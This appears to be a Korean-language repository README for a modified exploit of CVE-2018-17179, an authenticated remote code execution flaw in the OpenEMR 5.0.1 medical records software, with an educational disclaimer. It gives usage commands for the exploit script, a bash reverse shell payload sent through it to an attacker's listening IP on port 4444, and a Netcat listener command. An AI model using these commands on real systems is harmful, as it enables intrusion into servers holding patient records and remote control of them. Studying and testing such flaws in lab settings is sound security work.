
OpenEMR 5.0.1을 위한 인증된 원격 코드 실행 익스플로잇 (CVE-2018-17179)으로, 사용자 정의 명령 페이로드 및 리버스 셸을 지원하며 교육용 침투 테스트를 목적으로 합니다.
⚠️ 면책 조항
이 저장소는 교육 및 연구 목적으로만 제공됩니다.
여기 제공된 정보와 코드는 통제된 환경(예: 개인 실험실 머신)에서만 사용할 수 있습니다.
소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 대해 이 코드를 무단으로 사용하는 것은 불법적이고 비윤리적입니다.
저자는 이로 인한 어떠한 오용이나 손해에 대해서도 책임지지 않습니다.
CVE-2018-17179는 널리 사용되는 오픈 소스 전자 의무 기록 및 진료 관리 소프트웨어인 OpenEMR에 영향을 미칩니다.
rest_routes.php 엔드포인트의 인증 메커니즘에 있는 결함으로 인해 인증된 사용자가 서버에서 임의의 명령을 실행할 수 있습니다.
이로 인해 웹 서버 사용자 컨텍스트에서 **원격 코드 실행(RCE)**이 발생할 수 있습니다.
interface/main/main_screen.php (rest_routes.php 경유)이 저장소는 Exploit-DB의 공개 익스플로잇의 수정된 버전을 제공합니다.
이 맞춤형 익스플로잇에서:
로컬 테스트 OpenEMR 로그인 패널 대상:

Usage: python2 exploit.py <target_url> -u <username> -p <password> -c <command>
Example:
python2 exploit.py http://<target>/openemr -u admin -p secretpass -c 'id'
rest_routes.php 엔드포인트에 접근할 수 있어야 합니다.
익스플로잇 실행
수정된 익스플로잇 스크립트를 bash 리버스 셸 페이로드와 함께 실행했습니다:
```bash
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

포트 4444의 Netcat 리스너가 리버스 셸을 성공적으로 수신했습니다:
nc -nvlp 4444

자세한 설명과 이론은 제 Medium 게시글을 확인하세요:
👉 Medium에서 블로그 읽기